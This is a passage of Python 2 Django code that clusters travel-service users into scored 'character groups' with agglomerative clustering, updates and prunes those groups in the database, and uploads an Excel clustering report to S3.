,'.format(str(len(temp_whole_big_cluster_group.keys())))\n + 'CHARACTER GROUPS : {} '.format(str(len(list(itertools.chain.from_iterable(temp_whole_big_cluster_group.values())))))\n + ' load COMPLETE ' \\\n + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n return temp_whole_big_cluster_group\n\n\ndef cluster_agglomerative_clustering(description_vs_user_character_dict):\n \"\"\"\n 큰 클러스터그룹 내의 사용자를 받아 2차 클러스터링(상 / 중 / 하)를 구동\n :param description_vs_user_character_dict:\n :return: newly_clustered_group_dict = {\n description : {\n 0 : [users]\n 1 : [users]\n 2 : [users]\n }\n }\n \"\"\"\n global rearranged_user_dict\n global rearranged_user_character_dict\n\n print('- cluster_agglomerative_clustering START ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n description_ordered_group_list_dict = dict()\n\n for description, list_of_user_character in description_vs_user_character_dict.iteritems():\n\n temp_user_character_group_ordered = dict()\n user_id_list = []\n\n # check for over than number 3\n if (len(list_of_user_character) > 3):\n\n user_character_group_no_order = {}\n user_group_conv_per_people = {}\n\n ordered_group_dictionary = {}\n temp_list = []\n temp_group = []\n\n # change data into pandas\n for dictionary in list_of_user_character:\n # insert user id\n user_id_list.append(dictionary['user_id'])\n\n # change into pandas\n pandas_data = pd.DataFrame(dictionary, columns=[dictionary.keys()], index=[0])\n temp_list.append(pandas_data)\n\n # sum values\n del dictionary['user_id']\n\n # merge pandas\n merged_pandas_result = pd.concat(temp_list)\n del merged_pandas_result['user_id']\n\n try:\n # cluster users\n cluster = AgglomerativeClustering(n_clusters=THE_NUMBER_OF_CLUSTER_GROUP, affinity='euclidean',\n linkage='ward')\n cluster_group_label_raw_list = cluster.fit_predict(merged_pandas_result.as_matrix())\n cluster_group_label_list = cluster_group_label_raw_list.reshape(-1, 1)\n except Exception as e:\n print('- cluster_agglomerative_clustering ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n print(''.join('* ' + line for line in lines))\n\n # make group by label\n for index in range(len(cluster_group_label_list)):\n\n if cluster_group_label_list[index][0] in user_character_group_no_order:\n temp_group = user_character_group_no_order[cluster_group_label_list[index][0]]\n\n temp_group.append(user_id_list[index])\n user_character_group_no_order[cluster_group_label_list[index][0]] = temp_group\n temp_group = []\n\n # retrieve user count and conversion count in group, and match with label\n for key, user_list in user_character_group_no_order.iteritems():\n\n try:\n user_count = len(user_list)\n user_conv_count = Action_log.objects.filter(user_id__in=user_list).count()\n user_group_conv_per_people[key] = (user_count, user_conv_count)\n\n except Exception as e:\n print('- cluster_agglomerative_clustering ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n print(''.join('* ' + line for line in lines))\n\n # set order by conversion per people in group\n user_character_group_ordered_list = sorted(user_group_conv_per_people.iteritems(),\n key=lambda user_tuple: (\n (float(user_tuple[1][1]) / float(user_tuple[1][0])),\n user_tuple[1][0]),\n reverse=True)\n index = 0\n\n # re- labeling\n for key, value in user_character_group_ordered_list:\n ordered_group_dictionary[key] = index\n index = index + 1\n\n # make ordered key - users dict\n for key, value in user_character_group_no_order.iteritems():\n temp_user_character_group_ordered[ordered_group_dictionary[key]] = user_character_group_no_order[key]\n\n # make description - ordered key - users dict\n description_ordered_group_list_dict[description] = temp_user_character_group_ordered\n\n # if people in group are lower than 3 people than assign group and set name 0.\n else:\n for dictionary in list_of_user_character:\n user_id_list.append(dictionary['user_id'])\n\n temp_user_character_group_ordered[0] = user_id_list\n description_ordered_group_list_dict[description] = temp_user_character_group_ordered\n\n print('- cluster_agglomerative_clustering COMPLETE ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n return description_ordered_group_list_dict\n\n\ndef rearrange_users(temp_sorted_user_list, temp_sorted_user_character_list):\n \"\"\"\n 각 캐릭터 그룹의 업데이트된 필터와 캐릭터를 가지고 전체 유저 및 캐릭터 글로벌 변수에 정보를 계속 업데이트\n :param temp_sorted_user_list:\n :param temp_sorted_user_character_list:\n :return:\n \"\"\"\n print('- REARRANGE CLUSTER GROUP START ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n global rearranged_user_dict\n global rearranged_user_character_dict\n\n for description, user_list in temp_sorted_user_list.iteritems():\n\n if description not in rearranged_user_dict.keys():\n rearranged_user_dict[description] = user_list\n else:\n rearranged_user_dict[description].extend(user_list)\n\n for description, user_character_list in temp_sorted_user_character_list.iteritems():\n\n if description not in rearranged_user_character_dict.keys():\n rearranged_user_character_dict[description] = user_character_list\n else:\n rearranged_user_character_dict[description].extend(user_character_list)\n\n print('- REARRANGE CLUSTER GROUP FINISHED ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n\ndef make_changed_description(temp_cluster_group_users, cluster_group_user_filters, cluster_group_user_characters):\n \"\"\"\n 새롭게 변경된 유저들의 필터정보와 캐릭터 정보들을 합하여, 변경된 description을 형성\n :param temp_cluster_group_users:\n :param cluster_group_user_filters:\n :param cluster_group_user_characters:\n :return:\n \"\"\"\n print('- MAKE CHANGED CLUSTERING GROUP START ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n changed_description_dict = {}\n temp_sorted_user_list = {}\n temp_sorted_user_character_list = {}\n\n # make list flatten\n user_list = list(itertools.chain.from_iterable(temp_cluster_group_users.values()))\n\n for user_id in user_list:\n\n temp_user_list = []\n temp_user_character_list = []\n\n try:\n changed_description = cluster_group_user_filters[user_id]\n\n for ordered_dict_key in cluster_group_user_characters[user_id].keys():\n if ordered_dict_key != 'user_id':\n changed_description = changed_description + ',' + ordered_dict_key\n\n changed_description_dict[user_id] = changed_description\n\n if changed_description in temp_sorted_user_list.keys():\n temp_user_list = temp_sorted_user_list[changed_description]\n temp_user_character_list = temp_sorted_user_character_list[changed_description]\n\n temp_user_list.append(user_id)\n temp_user_character_list.append(cluster_group_user_characters[user_id])\n temp_sorted_user_list[changed_description] = temp_user_list\n temp_sorted_user_character_list[changed_description] = temp_user_character_list\n\n except Exception as e:\n continue\n\n print('- MAKE CHANGED CLUSTERING GROUP COMPLETED ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n return (temp_sorted_user_list, temp_sorted_user_character_list)\n\n\ndef get_character_group_data(character_groups, deal_weight_dict):\n \"\"\"\n 전체 캐릭터 그룹 정보를 넘겨받아 각 그룹을 반복하면서 아래 종속된 메서드들을 실행\n :param character_groups:\n :return:\n \"\"\"\n print('- UPDATE CLUSTER START ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n for description, character_group_object_list in character_groups.iteritems():\n\n temp_character_group_list = []\n\n for character_group_id, name in character_group_object_list:\n temp_character_group_list.append(character_group_id)\n\n temp_cluster_group_users = {}\n\n try:\n temp_users_in_each_big_group = User_character.objects \\\n .values_list('user_id', flat=True) \\\n .filter(character_group_id__in=temp_character_group_list) \\\n .exclude(is_closed=True) \\\n .distinct() \\\n .order_by('user_id')\n temp_users_in_each_big_group = list(temp_users_in_each_big_group)\n\n except Exception as e:\n print('- get_character_group_data ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n print(''.join('* ' + line for line in lines))\n return\n\n print (len(temp_users_in_each_big_group))\n\n temp_cluster_group_users[description] = temp_users_in_each_big_group\n temp_cluster_group_user_filters, basic_group_user = get_user_filter(temp_cluster_group_users)\n temp_cluster_group_user_characters = get_user_character(temp_cluster_group_users, basic_group_user, deal_weight_dict)\n\n temp_sorted_user_list, temp_sorted_user_character_list = make_changed_description(temp_cluster_group_users,\n temp_cluster_group_user_filters,\n temp_cluster_group_user_characters)\n\n print (len(list(itertools.chain.from_iterable(temp_sorted_user_list.values()))))\n print (len(list(itertools.chain.from_iterable(temp_sorted_user_character_list.values()))))\n\n # update original dict\n rearrange_users(temp_sorted_user_list, temp_sorted_user_character_list)\n\n print('- UPDATE CLUSTER COMPLETE ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n\ndef get_user_filter(temp_cluster_group_users):\n \"\"\"\n 각 그룹에 속하는 유저들의 필터 설정값을 불러옴\n :param temp_cluster_group_users:\n :return:\n \"\"\"\n global GROUP_ALL\n global GROUP_SHORT\n global GROUP_LONG\n global GROUP_MIX\n\n print('- MAKE USER-FILTER START ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n all_checked_group = [u'6', u'7', u'9', u'11', u'12', u'13', u'15', u'16', u'18']\n short_distance_checked_group = [u'11', u'12', u'13', u'15', u'16']\n long_distance_checked_group = [u'6', u'7', u'9']\n temp_user_category_strings_dictionary = dict()\n\n users_to_call = list(itertools.chain.from_iterable(temp_cluster_group_users.values()))\n\n basic_group_user = None\n\n # if cluster group is basic group, call user in different way\n if 'BASIC GROUP' in temp_cluster_group_users.keys():\n\n try:\n print('- BASIC GROUP MAKE USER-FILTER START ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n user_who_has_user_character_category = Character_category.objects.raw(\"SELECT DISTINCT character_category.user_id, character_category.id FROM character_category WHERE character_category.user_id IN(SELECT DISTINCT user_character.user_id FROM user_character WHERE user_character.user_id IN (SELECT user.id FROM user WHERE NOT user.user_type_id=4 AND user.category_strings IS NOT NULL ) AND user_character.is_closed=0 AND user_character.character_group_id=1)\")\n user_who_has_user_character_category = set(user_who_has_user_character_category)\n\n user_who_has_user_character_theme = Character_category.objects.raw(\"SELECT DISTINCT user_id, id FROM character_theme WHERE user_id IN (SELECT DISTINCT user_id FROM user_character WHERE user_id IN (SELECT id FROM user WHERE NOT user_type_id=4 AND category_strings IS NOT NULL ) AND is_closed=0 AND character_group_id=1)\")\n user_who_has_user_character_theme = set(user_who_has_user_character_theme)\n\n users_to_call = set()\n\n for object in itertools.chain(user_who_has_user_character_category, user_who_has_user_character_theme):\n\n users_to_call.add(object.user_id)\n\n print('- get_user_filter ' + 'character ' + str(len(user_who_has_user_character_category))\n + ' theme ' + str(len(user_who_has_user_character_theme)) + ' load COMPLETE '\n + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n print('- get_user_filter ' + 'user ' + str(len(users_to_call))\n + ' load COMPLETE ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n basic_group_user = users_to_call\n\n user_category_strings = User.objects.filter(id__in=users_to_call) \\\n .values_list('id', 'category_strings')\n user_category_strings = list(user_category_strings)\n\n print('- get_user_filter ' + 'user_category_strings ' + str(len(user_category_strings))\n + ' load COMPLETE ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n except Exception as e:\n print('- get_user_filter ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n print(''.join('* ' + line for line in lines))\n return\n else:\n try:\n user_category_strings = User.objects.filter(id__in=users_to_call) \\\n .filter(category_strings__isnull=False) \\\n .exclude(user_type_id__exact=4) \\\n .values_list('id', 'category_strings')\n user_category_strings = list(user_category_strings)\n print(len(user_category_strings))\n except Exception as e:\n\n print('- get_user_filter ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n print(''.join('* ' + line for line in lines))\n return\n\n for user_object in user_category_strings:\n\n try:\n category_list = user_object[1].split(\",\")\n category_list = category_list[:-1]\n\n except Exception as e:\n # except user whose category_strings is null\n continue\n\n if len(category_list) != 0:\n # all_checked_group\n if len(category_list) == len(all_checked_group):\n temp_user_category_strings_dictionary[user_object[0]] = GROUP_ALL\n\n # short_distance_checked_group\n elif set(category_list).issubset(short_distance_checked_group):\n temp_user_category_strings_dictionary[user_object[0]] = GROUP_SHORT\n\n # long_distance_checked_group\n elif set(category_list).issubset(long_distance_checked_group):\n temp_user_category_strings_dictionary[user_object[0]] = GROUP_LONG\n\n # mixed_checked_group\n else:\n temp_user_category_strings_dictionary[user_object[0]] = GROUP_MIX\n # add user whose category_strings is null\n else:\n pass\n\n print('- MAKE USER-FILTER DONE ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n return (temp_user_category_strings_dictionary, basic_group_user)\n\n\ndef get_user_character(temp_cluster_group_users, basic_group_user, deal_weight_dict):\n \"\"\"\n 각 그룹에 속하는 사용자들의 유저 캐릭터를 불러와 카테고리 1순위, 테마 1순위로 추려냄\n :param temp_cluster_group_users:\n :param basic_group_user:\n :return:\n \"\"\"\n\n print('- MAKE USER-CHARACTER START ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n inserted_user_list = []\n temp_user_searched_character_category = dict()\n temp_user_searched_character_theme = dict()\n temp_user_searched_character = dict()\n\n users_to_call = list(itertools.chain.from_iterable(temp_cluster_group_users.values()))\n\n # if cluster group is basic group, call user in different way\n if 'BASIC GROUP' in temp_cluster_group_users.keys():\n\n print('- BASIC GROUP MAKE USER-CHARACTER START ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n try:\n users_to_call = basic_group_user\n\n temp_user_character_categories = Character_category.objects \\\n .filter(user_id__in=users_to_call) \\\n .values('user_character_id', 'user_id', 'category') \\\n .annotate(score=Sum('score'), cnt_rcd=Count('user_character_id')) \\\n .order_by('user_character_id', '-score', '-category')\n temp_user_character_categories = list(temp_user_character_categories)\n\n temp_user_character_themes = Character_theme.objects \\\n .filter(user_id__in=users_to_call) \\\n .values('user_character_id', 'user_id', 'theme') \\\n .annotate(score=Sum('score'), cnt_rcd=Count('user_character_id')) \\\n .order_by('user_character_id', '-score', '-theme')\n temp_user_character_themes = list(temp_user_character_themes)\n\n except Exception as e:\n print(\n '- get_user_character' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n print(''.join('* ' + line for line in lines))\n return\n else:\n try:\n\n temp_user_character_categories = Character_category.objects \\\n .filter(user_id__in=users_to_call) \\\n .exclude(is_closed=True) \\\n .values('user_character_id', 'user_id', 'category') \\\n .annotate(score=Sum('score'), cnt_rcd=Count('user_character_id')) \\\n .order_by('user_character_id', '-score', '-category')\n temp_user_character_categories = list(temp_user_character_categories)\n\n temp_user_character_themes = Character_theme.objects \\\n .filter(user_id__in=users_to_call) \\\n .exclude(is_closed=True) \\\n .values('user_character_id', 'user_id', 'theme') \\\n .annotate(score=Sum('score'), cnt_rcd=Count('user_character_id')) \\\n .order_by('user_character_id', '-score', '-theme')\n temp_user_character_themes = list(temp_user_character_themes)\n\n except Exception as e:\n print('- get_user_character ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n print(''.join('* ' + line for line in lines))\n return\n\n # fetch all user's character point and make a dict { 'user_id' : { 'category_id' : point } }\n user_character_point = {}\n for user_category_character in temp_user_character_categories:\n\n if (user_category_character['user_id'] not in inserted_user_list):\n inserted_user_list.append(user_category_character['user_id'])\n temp_user_character_point={}\n temp_user_character_point[str(user_category_character['user_id'])] = {}\n\n temp_user_character_point[str(user_category_character['user_id'])][str(user_category_character['category'])] = user_category_character['score']\n user_character_point.update(temp_user_character_point)\n\n # get adjust point multiplied by deal_distribution_weight_dict and after that extract 1st category value and its score\n for user_id, point_dict in user_character_point.iteritems():\n\n updated_user_character_point = {k : int(round(v * deal_weight_dict[k])) for k, v in point_dict.items() if k in deal_weight_dict}\n sorted_updated_user_character_point = sorted(updated_user_character_point.iteritems(), key=lambda x: x[1], reverse=True)\n\n temp_category_dictionary = collections.OrderedDict()\n temp_category_dictionary['user_id'] = int(user_id)\n\n try:\n category_id, point = sorted_updated_user_character_point[0]\n temp_category_dictionary[\"CATEGORY\" + category_id] = point\n\n except Exception as e:\n temp_category_dictionary[\"CATEGORY_NONE1\"] = 0\n\n # make temp_user_searched_character_category dict { user_id : OrderedDict([('user_id', user_id), ('CATEGORYX', point)]) }\n if (int(user_id) not in temp_user_searched_character_category.keys()):\n temp_user_searched_character_category[int(user_id)] = temp_category_dictionary\n\n # extract 1st theme value and its score\n for user_theme_character in temp_user_character_themes:\n\n if (user_theme_character['user_id'] not in inserted_user_list):\n inserted_user_list.append(user_theme_character['user_id'])\n\n temp_theme_dictionary = collections.OrderedDict()\n temp_theme_dictionary['user_id'] = user_theme_character['user_id']\n temp_theme_dictionary[\"THEME\" + str(user_theme_character['theme'])] = user_theme_character['score']\n\n if (user_theme_character['user_id'] not in temp_user_searched_character_theme.keys()):\n temp_user_searched_character_theme[user_theme_character['user_id']] = temp_theme_dictionary\n\n # merge category_character and theme_character into user_character\n for user_id in set(inserted_user_list):\n\n result = collections.OrderedDict()\n\n if (user_id in temp_user_searched_character_category.keys()) and (\n user_id in temp_user_searched_character_theme.keys()):\n\n result.update(temp_user_searched_character_category[user_id])\n result.update(temp_user_searched_character_theme[user_id])\n temp_user_searched_character[user_id] = result\n\n elif (user_id in temp_user_searched_character_category.keys()) and (\n user_id not in temp_user_searched_character_theme.keys()):\n\n result.update(temp_user_searched_character_category[user_id])\n result['THEME_NONE1'] = 0\n temp_user_searched_character[user_id] = result\n\n elif (user_id not in temp_user_searched_character_category.keys()) and (\n user_id in temp_user_searched_character_theme.keys()):\n\n result['user_id'] = user_id\n result['CATEGORY_NONE1'] = 0\n result.update(temp_user_searched_character_theme[user_id])\n temp_user_searched_character[user_id] = result\n else:\n pass\n print('- MAKE USER-CHARACTER DONE ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n return temp_user_searched_character\n\n\ndef save_updated_character_group(character_groups, newly_clustered_group_dict, to_be_deleted_group_list):\n \"\"\"\n 새롭게 클러스터링 된 그룹을 저장하는 메서드\n :param character_groups:\n :param newly_clustered_group_dict:\n :param to_be_deleted_group_list:\n :return:\n \"\"\"\n print('- SAVE NEW CLUSTERING GROUP START ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n # create_character_group\n for description, second_clustered_dict in newly_clustered_group_dict.iteritems():\n\n # if new character group exists\n if description not in character_groups.keys():\n\n character_group_list = []\n\n # create_character_group_object\n for name in sorted(second_clustered_dict.keys()):\n\n if name == 0:\n character_group = Character_group(created_at=timezone.now() + timedelta(hours=TIME_GAP),\n last_modified=timezone.now() + timedelta(hours=TIME_GAP),\n name=str(name), description=description,\n represent_character_id=None, parent_group_id=None)\n else:\n character_group = Character_group(created_at=timezone.now() + timedelta(hours=TIME_GAP),\n last_modified=timezone.now() + timedelta(hours=TIME_GAP),\n name=str(name), description=description,\n represent_character_id=None,\n parent_group_id=character_group_list[0]['id'])\n\n Character_group.save(character_group)\n character_group_list.append(character_group)\n\n # update user character group\n for name, user_list in second_clustered_dict.iteritems():\n\n # save represent character\n try:\n setattr(character_group_list[name], 'represent_character_id', user_list[0])\n Character_group.save(character_group_list[name])\n except Exception as e:\n print('- update_Character_group_objects_with_represent_character_id ' + str(\n datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n print(''.join('* ' + line for line in lines))\n\n # update user character\n try:\n User_character.objects.filter(user_id__in=user_list).update(\n character_group_id=character_group_list[name]['id'],\n last_modified=timezone.now() + timedelta(hours=TIME_GAP))\n except Exception as e:\n print('- update_character_groups ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n print(''.join('* ' + line for line in lines))\n\n # if cluster group is in existing cluster group\n else:\n for name, user_list in sorted(second_clustered_dict.iteritems(), key=lambda x: x[0]):\n # if no changes in character group, then just update represent users and user character\n if len(character_groups[description]) == len(second_clustered_dict.keys()):\n try:\n character_group_id = character_groups[description][name][0]\n Character_group.objects.filter(id=character_group_id)\\\n .update(represent_character_id=user_list[0],\n last_modified=timezone.now() + timedelta(hours=TIME_GAP))\n User_character.objects.filter(user_id__in=user_list)\\\n .update(character_group_id=character_group_id,\n last_modified=timezone.now() + timedelta(hours=TIME_GAP))\n except Exception as e:\n pass\n\n # if existing group is bigger than modified group\n elif len(character_groups[description]) > len(second_clustered_dict.keys()):\n\n if name == 0:\n character_group_id = character_groups[description][name][0]\n try:\n Character_group.objects.filter(id=character_group_id)\\\n .update(represent_character_id=user_list[0],\n last_modified=timezone.now() + timedelta(hours=TIME_GAP))\n User_character.objects.filter(user_id__in=user_list)\\\n .update(character_group_id=character_group_id,\n last_modified=timezone.now() + timedelta(hours=TIME_GAP))\n except Exception as e:\n pass\n\n # filter other group don't exists any more.\n else:\n for id_num, name_id in character_groups[description]:\n if id_num != character_group_id:\n # add character_group_id to be deleted character group\n to_be_deleted_group_list.append(id_num)\n\n # if modified group is bigger than original group\n elif len(character_groups[description]) < len(second_clustered_dict.keys()):\n\n # save parent group id in case of new character group\n parent_group_id = character_groups[description][name][0]\n\n # update existing group and user\n if name == 0:\n try:\n Character_group.objects.filter(id=character_group_id)\\\n .update(represent_character_id=user_list[0],\n last_modified=timezone.now() + timedelta(hours=TIME_GAP))\n User_character.objects.filter(user_id__in=user_list)\\\n .update(character_group_id=parent_group_id,\n last_modified=timezone.now() + timedelta(hours=TIME_GAP))\n except Exception as e:\n pass\n\n # create new group and save it\n else:\n try:\n character_group = Character_group(created_at=timezone.now() + timedelta(hours=TIME_GAP),\n last_modified=timezone.now() + timedelta(hours=TIME_GAP),\n name=str(name), description=description,\n represent_character_id=user_list[0],\n parent_group_id=parent_group_id)\n Character_group.save(character_group)\n User_character.objects.filter(user_id__in=user_list)\\\n .update(character_group_id=character_group['id'],\n last_modified=timezone.now() + timedelta(hours=TIME_GAP))\n except Exception as e:\n pass\n\n print('- SAVE NEW CLUSTERING GROUP START ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n\ndef write_report_to_excel(final_data_list):\n \"\"\"\n 전달받은 데이터를 이용하여 클러스터링 보고서를 작성\n :param final_data_list:\n :return:\n \"\"\"\n print('- write_report_to_excel START ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n if len(final_data_list) > 0:\n\n time_dt = timezone.now() + timedelta(hours=TIME_GAP)\n time_string = time_dt.strftime(\"%Y%m%d%H\")\n\n workbook = xlsxwriter.Workbook(\"cluster_report_\" + time_string + \".xlsx\")\n bold = workbook.add_format({'bold': True})\n worksheet_1 = workbook.add_worksheet(\"character_group_report_raw_data\")\n\n worksheet_1.write('A1', 'character_group_id', bold)\n worksheet_1.write('B1', 'description', bold)\n worksheet_1.write('C1', 'sum_people', bold)\n worksheet_1.write('D1', 'conversion_count_sum', bold)\n worksheet_1.write('E1', 'parent_group_id', bold)\n worksheet_1.write('F1', 'id', bold)\n worksheet_1.write('G1', 'name', bold)\n worksheet_1.write('H1', 'deal_id', bold)\n worksheet_1.write('I1', 'conversion_count', bold)\n\n row = 1\n col = 0\n\n for character_group_id, group_info_dict in final_data_list.iteritems():\n\n if len(group_info_dict[\"conversion_count_list\"]) == 0:\n worksheet_1.write(row, col, character_group_id)\n worksheet_1.write(row, col + 1, group_info_dict[\"description\"])\n worksheet_1.write(row, col + 2, group_info_dict[\"sum_people\"])\n worksheet_1.write(row, col + 3, group_info_dict[\"conversion_count_sum\"])\n worksheet_1.write(row, col + 4, group_info_dict[\"parent_group_id\"])\n worksheet_1.write(row, col + 5, group_info_dict[\"id\"])\n worksheet_1.write(row, col + 6, group_info_dict[\"name\"])\n worksheet_1.write(row, col + 7, 0)\n worksheet_1.write(row, col + 8, 0)\n row += 1\n\n for i in xrange(len(group_info_dict[\"conversion_count_list\"])):\n worksheet_1.write(row, col, character_group_id)\n worksheet_1.write(row, col + 1, group_info_dict[\"description\"])\n worksheet_1.write(row, col + 2, group_info_dict[\"sum_people\"])\n worksheet_1.write(row, col + 3, group_info_dict[\"conversion_count_sum\"])\n worksheet_1.write(row, col + 4, group_info_dict[\"parent_group_id\"])\n worksheet_1.write(row, col + 5, group_info_dict[\"id\"])\n worksheet_1.write(row, col + 6, group_info_dict[\"name\"])\n worksheet_1.write(row, col + 7, group_info_dict[\"conversion_count_list\"][i][\"type_id\"])\n worksheet_1.write(row, col + 8, group_info_dict[\"conversion_count_list\"][i][\"count\"])\n row += 1\n\n workbook.close()\n\n # upload a excel file to s3\n s3 = boto3.client('s3', region_name=ENDPOINT,\n aws_access_key_id=AWS_ACCESS_KEY_ID,\n aws_secret_access_key=AWS_SECRET_ACCESS_KEY)\n\n file_path = \"cluster_report_\" + time_string + \".xlsx\"\n path = \"temp/cluster_report_daily/\"\n bucket = \"playwings-log-bucket\"\n result_url = path + file_path\n\n s3.upload_file(file_path, bucket, result_url)\n\n print('- CLUSTER INFO UPLOAD COMPLETED AT {} S3 '.format(result_url) + str(\n datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n os.remove(file_path)\n\n else:\n print ('- NO DATA TO WRITE ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n print('- write_report_to_excel COMPLETED ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n\ndef get_clustering_report_data():\n \"\"\"\n 클러스터링 보고서 작성을 위한 데이터를 불러옴\n :return:\n \"\"\"\n print('- get_clustering_report_data START ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n # get each group's data\n try:\n character_group_ids = Character_group.objects.all().values_list('id', flat=True).exclude(id=1)\n character_group_ids = list(character_group_ids)\n except Exception as e:\n print('- get_clustering_report_data ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n print(''.join('* ' + line for line in lines))\n\n result_dic = {}\n\n for id in character_group_ids:\n\n temp_dic = {}\n character_group = Character_group.objects.filter(id=id).values()[0]\n temp_dic['id'] = id\n temp_dic['name'] = character_group['name']\n temp_dic['description'] = character_group['description']\n temp_dic['parent_group_id'] = character_group['parent_group_id']\n\n try:\n user_character_count = User_character.objects.filter(character_group_id=id).distinct().count()\n temp_dic['sum_people'] = user_character_count\n except Exception as e:\n print(\n '- get_clustering_report_data user_character_count' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n print(''.join('* ' + line for line in lines))\n\n try:\n user_character_list = User_character.objects.filter(character_group_id=id) \\\n .values_list('user_id',flat=True) \\\n .exclude(id=1).distinct()\n\n user_character_list = list(user_character_list)\n\n action_log_count = Action_log.objects.filter(user_id__in=user_character_list).distinct().count()\n\n temp_dic['conversion_count_sum'] = action_log_count\n\n user_character_list = Action_log.objects.filter(user_id__in=user_character_list) \\\n .values('type_id') \\\n .annotate(count=Count('type_id')) \\\n .order_by('-count')\n\n temp_dic['conversion_count_list'] = list(user_character_list)\n except Exception as e:\n print('- get_clustering_report_data user_character_count' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n print(''.join('* ' + line for line in lines))\n\n result_dic[str(id)] = copy.deepcopy(temp_dic)\n\n print('- get_clustering_report_data COMPLETED ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n return result_dic\n\n\n# main code\ndef get_clustering():\n\n \"\"\"\n 각 메서드들을 호출하는 메인 함수\n :return: 없음\n \"\"\"\n\n global rearranged_user_dict\n global rearranged_user_character_dict\n\n print('- get_character_group_list START ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n # get deal_distribution data\n deal_distribution_weight_dict = get_deal_distribution()\n\n # load original character group info\n character_groups = get_whole_character_group_data()\n\n # make updated cluster group with deal_distribution data\n get_character_group_data(character_groups, deal_distribution_weight_dict)\n\n # copy global variables for use\n description_vs_user_character_dict = copy.deepcopy(rearranged_user_character_dict)\n\n # make updated second cluster group\n newly_clustered_group_dict = cluster_agglomerative_clustering(description_vs_user_character_dict)\n\n # make character group list that to be deleted\n to_be_deleted_group = set(character_groups.keys()).difference(newly_clustered_group_dict.keys())\n to_be_deleted_group_list = []\n\n for description in to_be_deleted_group:\n for character_group_id, name in character_groups[description]:\n if character_group_id != 1:\n to_be_deleted_group_list.append(character_group_id)\n\n # update all user to character group id 1 before save(for user that has closed user_character)\n try:\n User_character.objects.all().update(character_group_id=1, last_modified= timezone.now() + timedelta(hours=TIME_GAP))\n except Exception as e:\n print('- get_clustering temp update character group ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n print(''.join('* ' + line for line in lines))\n\n # save updated information to character_group\n save_updated_character_group(character_groups, newly_clustered_group_dict, to_be_deleted_group_list)\n\n # delete useless character_group\n try:\n Character_group.objects.filter(id__in=to_be_deleted_group_list).delete()\n except Exception as e:\n print('- get_clustering delete useless group ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n print(''.join('* ' + line for line in lines))\n\n # make report\n final_data_list = get_clustering_report_data()\n write_report_to_excel(final_data_list)\n\n print('- CLUSTER COMPLETE ' + 